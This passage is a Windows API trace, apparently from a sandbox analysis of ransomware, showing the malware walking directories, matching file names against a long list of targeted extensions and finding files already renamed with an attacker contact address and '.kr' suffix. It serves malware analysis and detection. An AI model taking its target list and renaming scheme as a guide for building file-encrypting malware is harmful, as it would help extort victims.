returned 4 [0085.836] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pbm") returned 4 [0085.836] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pct") returned 4 [0085.836] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pcx") returned 4 [0085.836] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pdd") returned 4 [0085.836] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pdf") returned 4 [0085.836] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pdp") returned 4 [0085.836] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pef") returned 4 [0085.836] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pem") returned 4 [0085.836] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pff") returned 4 [0085.836] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pfm") returned 4 [0085.836] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pfx") returned 4 [0085.836] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0085.837] lstrlenW (lpString=".pgm") returned 4 [0085.837] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0085.837] lstrlenW (lpString=".php") returned 4 [0085.837] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0085.837] lstrlenW (lpString=".php3") returned 5 [0085.837] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0085.837] lstrlenW (lpString=".php4") returned 5 [0085.837] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0085.837] lstrlenW (lpString=".php5") returned 5 [0085.837] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0085.837] lstrlenW (lpString=".phtml") returned 6 [0085.837] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0085.837] lstrlenW (lpString=".pict") returned 5 [0085.837] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0085.837] lstrlenW (lpString=".pl") returned 3 [0085.837] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0085.837] lstrlenW (lpString=".pls") returned 4 [0085.837] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0085.837] lstrlenW (lpString=".pm") returned 3 [0085.837] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0085.837] lstrlenW (lpString=".png") returned 4 [0085.837] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0085.837] lstrlenW (lpString=".pnm") returned 4 [0085.837] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0085.837] lstrlenW (lpString=".pot") returned 4 [0085.837] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0085.838] lstrlenW (lpString=".potm") returned 5 [0085.838] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0085.838] lstrlenW (lpString=".potx") returned 5 [0085.838] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0085.838] lstrlenW (lpString=".ppa") returned 4 [0085.838] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0085.838] lstrlenW (lpString=".ppam") returned 5 [0085.838] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0085.838] lstrlenW (lpString=".ppm") returned 4 [0085.838] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0085.838] lstrlenW (lpString=".pps") returned 4 [0085.838] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0085.838] lstrlenW (lpString=".ppsm") returned 5 [0085.838] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0085.838] lstrlenW (lpString=".ppt") returned 4 [0085.838] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0085.838] lstrlenW (lpString=".pptm") returned 5 [0085.839] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0085.839] lstrlenW (lpString=".pptx") returned 5 [0085.840] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0085.840] lstrlenW (lpString=".prn") returned 4 [0085.840] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0085.840] lstrlenW (lpString=".ps") returned 3 [0085.840] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0085.840] lstrlenW (lpString=".psb") returned 4 [0085.840] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0085.840] lstrlenW (lpString=".psd") returned 4 [0085.840] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0085.840] lstrlenW (lpString=".pst") returned 4 [0085.840] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0085.840] lstrlenW (lpString=".ptx") returned 4 [0085.840] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0085.840] lstrlenW (lpString=".pub") returned 4 [0085.840] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0085.840] lstrlenW (lpString=".pwm") returned 4 [0085.840] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0085.840] lstrlenW (lpString=".pxr") returned 4 [0085.840] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0085.840] lstrlenW (lpString=".py") returned 3 [0085.840] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0085.840] lstrlenW (lpString=".qt") returned 3 [0085.840] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0085.840] lstrlenW (lpString=".r3d") returned 4 [0085.840] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0085.840] lstrlenW (lpString=".raf") returned 4 [0085.841] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0085.841] lstrlenW (lpString=".rar") returned 4 [0085.841] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0085.841] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc68955ec, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc68955ec, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0085.841] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0085.841] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0085.841] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0085.841] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0085.842] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0085.842] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0085.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26 [0085.842] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260650 [0085.842] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.842] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e27031, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e27031, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e4d2c9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0085.842] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0085.842] lstrlenW (lpString=".1cd") returned 4 [0085.842] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0085.842] lstrlenW (lpString=".3ds") returned 4 [0085.842] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0085.842] lstrlenW (lpString=".3fr") returned 4 [0085.842] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0085.842] lstrlenW (lpString=".3g2") returned 4 [0085.843] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0085.843] lstrlenW (lpString=".3gp") returned 4 [0085.843] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0085.843] lstrlenW (lpString=".7z") returned 3 [0085.843] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0085.843] lstrlenW (lpString=".accda") returned 6 [0085.843] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0085.843] lstrlenW (lpString=".accdb") returned 6 [0085.843] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0085.843] lstrlenW (lpString=".accdc") returned 6 [0085.843] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0085.843] lstrlenW (lpString=".accde") returned 6 [0085.843] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0085.843] lstrlenW (lpString=".accdt") returned 6 [0085.843] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0085.843] lstrlenW (lpString=".accdw") returned 6 [0085.843] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0085.843] lstrlenW (lpString=".adb") returned 4 [0085.843] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0085.843] lstrlenW (lpString=".adp") returned 4 [0085.843] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0085.843] lstrlenW (lpString=".ai") returned 3 [0085.843] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0085.843] lstrlenW (lpString=".ai3") returned 4 [0085.843] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".ai4") returned 4 [0085.844] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".ai5") returned 4 [0085.844] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".ai6") returned 4 [0085.844] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".ai7") returned 4 [0085.844] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".ai8") returned 4 [0085.844] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".anim") returned 5 [0085.844] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0085.844] lstrlenW (lpString=".arw") returned 4 [0085.844] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".as") returned 3 [0085.844] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0085.844] lstrlenW (lpString=".asa") returned 4 [0085.844] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".asc") returned 4 [0085.844] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".ascx") returned 5 [0085.844] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0085.844] lstrlenW (lpString=".asm") returned 4 [0085.844] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0085.844] lstrlenW (lpString=".asmx") returned 5 [0085.845] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0085.845] lstrlenW (lpString=".asp") returned 4 [0085.845] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0085.845] lstrlenW (lpString=".aspx") returned 5 [0085.845] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0085.845] lstrlenW (lpString=".asr") returned 4 [0085.845] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0085.845] lstrlenW (lpString=".asx") returned 4 [0085.845] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0085.845] lstrlenW (lpString=".avi") returned 4 [0085.845] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0085.845] lstrlenW (lpString=".avs") returned 4 [0085.845] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0085.845] lstrlenW (lpString=".backup") returned 7 [0085.845] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0085.845] lstrlenW (lpString=".bak") returned 4 [0085.845] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0085.845] lstrlenW (lpString=".bay") returned 4 [0085.845] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0085.845] lstrlenW (lpString=".bd") returned 3 [0085.845] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0085.845] lstrlenW (lpString=".bin") returned 4 [0085.845] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0085.845] lstrlenW (lpString=".bmp") returned 4 [0085.845] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0085.845] lstrlenW (lpString=".bz2") returned 4 [0085.846] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0085.846] lstrlenW (lpString=".c") returned 2 [0085.846] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0085.846] lstrlenW (lpString=".cdr") returned 4 [0085.846] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0085.846] lstrlenW (lpString=".cer") returned 4 [0085.846] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0085.846] lstrlenW (lpString=".cf") returned 3 [0085.846] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0085.846] lstrlenW (lpString=".cfc") returned 4 [0085.846] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0085.846] lstrlenW (lpString=".cfm") returned 4 [0085.846] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0085.846] lstrlenW (lpString=".cfml") returned 5 [0085.846] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0085.846] lstrlenW (lpString=".cfu") returned 4 [0085.846] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0085.846] lstrlenW (lpString=".chm") returned 4 [0085.846] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0085.846] lstrlenW (lpString=".cin") returned 4 [0085.846] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0085.846] lstrlenW (lpString=".class") returned 6 [0085.846] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0085.846] lstrlenW (lpString=".clx") returned 4 [0085.846] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0085.846] lstrlenW (lpString=".config") returned 7 [0085.847] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0085.847] lstrlenW (lpString=".cpp") returned 4 [0085.847] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0085.847] lstrlenW (lpString=".cr2") returned 4 [0085.847] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0085.847] lstrlenW (lpString=".crt") returned 4 [0085.847] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0085.847] lstrlenW (lpString=".crw") returned 4 [0085.847] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0085.847] lstrlenW (lpString=".cs") returned 3 [0085.847] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0085.847] lstrlenW (lpString=".css") returned 4 [0085.847] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0085.847] lstrlenW (lpString=".csv") returned 4 [0085.847] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0085.847] lstrlenW (lpString=".cub") returned 4 [0085.847] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0085.847] lstrlenW (lpString=".dae") returned 4 [0085.847] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0086.107] lstrlenW (lpString=".dat") returned 4 [0086.107] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0086.107] lstrlenW (lpString=".db") returned 3 [0086.107] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0086.107] lstrlenW (lpString=".dbf") returned 4 [0086.107] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0086.107] lstrlenW (lpString=".dbx") returned 4 [0086.107] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0086.107] lstrlenW (lpString=".dc3") returned 4 [0086.107] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0086.108] lstrlenW (lpString=".dcm") returned 4 [0086.108] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0086.108] lstrlenW (lpString=".dcr") returned 4 [0086.108] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0086.108] lstrlenW (lpString=".der") returned 4 [0086.108] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0086.108] lstrlenW (lpString=".dib") returned 4 [0086.108] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0086.108] lstrlenW (lpString=".dic") returned 4 [0086.108] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0086.108] lstrlenW (lpString=".dif") returned 4 [0086.108] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0086.108] lstrlenW (lpString=".divx") returned 5 [0086.108] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0086.108] lstrlenW (lpString=".djvu") returned 5 [0086.108] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0086.108] lstrlenW (lpString=".dng") returned 4 [0086.108] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0086.108] lstrlenW (lpString=".doc") returned 4 [0086.108] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0086.108] lstrlenW (lpString=".docm") returned 5 [0086.108] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0086.108] lstrlenW (lpString=".docx") returned 5 [0086.108] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0086.109] lstrlenW (lpString=".dot") returned 4 [0086.109] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0086.109] lstrlenW (lpString=".dotm") returned 5 [0086.109] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0086.109] lstrlenW (lpString=".dotx") returned 5 [0086.109] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0086.109] lstrlenW (lpString=".dpx") returned 4 [0086.109] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0086.109] lstrlenW (lpString=".dqy") returned 4 [0086.109] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0086.109] lstrlenW (lpString=".dsn") returned 4 [0086.109] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0086.109] lstrlenW (lpString=".dt") returned 3 [0086.109] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0086.109] lstrlenW (lpString=".dtd") returned 4 [0086.109] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0086.109] lstrlenW (lpString=".dwg") returned 4 [0086.109] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0086.109] lstrlenW (lpString=".dwt") returned 4 [0086.109] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0086.109] lstrlenW (lpString=".dx") returned 3 [0086.109] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0086.109] lstrlenW (lpString=".dxf") returned 4 [0086.110] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0086.110] lstrlenW (lpString=".edml") returned 5 [0086.110] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0086.110] lstrlenW (lpString=".efd") returned 4 [0086.110] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0086.110] lstrlenW (lpString=".elf") returned 4 [0086.110] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0086.110] lstrlenW (lpString=".emf") returned 4 [0086.110] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0086.110] lstrlenW (lpString=".emz") returned 4 [0086.110] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0086.110] lstrlenW (lpString=".epf") returned 4 [0086.110] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0086.110] lstrlenW (lpString=".eps") returned 4 [0086.110] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0086.110] lstrlenW (lpString=".epsf") returned 5 [0086.110] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0086.110] lstrlenW (lpString=".epsp") returned 5 [0086.110] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0086.110] lstrlenW (lpString=".erf") returned 4 [0086.110] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0086.110] lstrlenW (lpString=".exr") returned 4 [0086.110] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0086.110] lstrlenW (lpString=".f4v") returned 4 [0086.110] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0086.111] lstrlenW (lpString=".fido") returned 5 [0086.111] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0086.111] lstrlenW (lpString=".flm") returned 4 [0086.111] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0086.111] lstrlenW (lpString=".flv") returned 4 [0086.111] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0086.111] lstrlenW (lpString=".frm") returned 4 [0086.111] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0086.111] lstrlenW (lpString=".fxg") returned 4 [0086.111] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0086.111] lstrlenW (lpString=".geo") returned 4 [0086.111] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0086.111] lstrlenW (lpString=".gif") returned 4 [0086.111] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0086.111] lstrlenW (lpString=".grs") returned 4 [0086.111] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0086.111] lstrlenW (lpString=".gz") returned 3 [0086.111] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0086.111] lstrlenW (lpString=".h") returned 2 [0086.111] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0086.111] lstrlenW (lpString=".hdr") returned 4 [0086.111] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0086.111] lstrlenW (lpString=".hpp") returned 4 [0086.111] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".hta") returned 4 [0086.112] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".htc") returned 4 [0086.112] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".htm") returned 4 [0086.112] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".html") returned 5 [0086.112] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0086.112] lstrlenW (lpString=".icb") returned 4 [0086.112] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".ics") returned 4 [0086.112] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".iff") returned 4 [0086.112] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".inc") returned 4 [0086.112] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".indd") returned 5 [0086.112] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0086.112] lstrlenW (lpString=".ini") returned 4 [0086.112] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".iqy") returned 4 [0086.112] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".j2c") returned 4 [0086.112] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0086.112] lstrlenW (lpString=".j2k") returned 4 [0086.113] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0086.113] lstrlenW (lpString=".java") returned 5 [0086.113] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0086.113] lstrlenW (lpString=".jp2") returned 4 [0086.113] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0086.113] lstrlenW (lpString=".jpc") returned 4 [0086.113] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0086.113] lstrlenW (lpString=".jpe") returned 4 [0086.113] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0086.113] lstrlenW (lpString=".jpeg") returned 5 [0086.113] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0086.113] lstrlenW (lpString=".jpf") returned 4 [0086.113] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0086.114] lstrlenW (lpString=".jpg") returned 4 [0086.114] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0086.114] lstrlenW (lpString=".jpx") returned 4 [0086.114] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0086.114] lstrlenW (lpString=".js") returned 3 [0086.114] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0086.114] lstrlenW (lpString=".jsf") returned 4 [0086.114] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0086.114] lstrlenW (lpString=".json") returned 5 [0086.114] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0086.114] lstrlenW (lpString=".jsp") returned 4 [0086.114] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0086.114] lstrlenW (lpString=".kdc") returned 4 [0086.114] 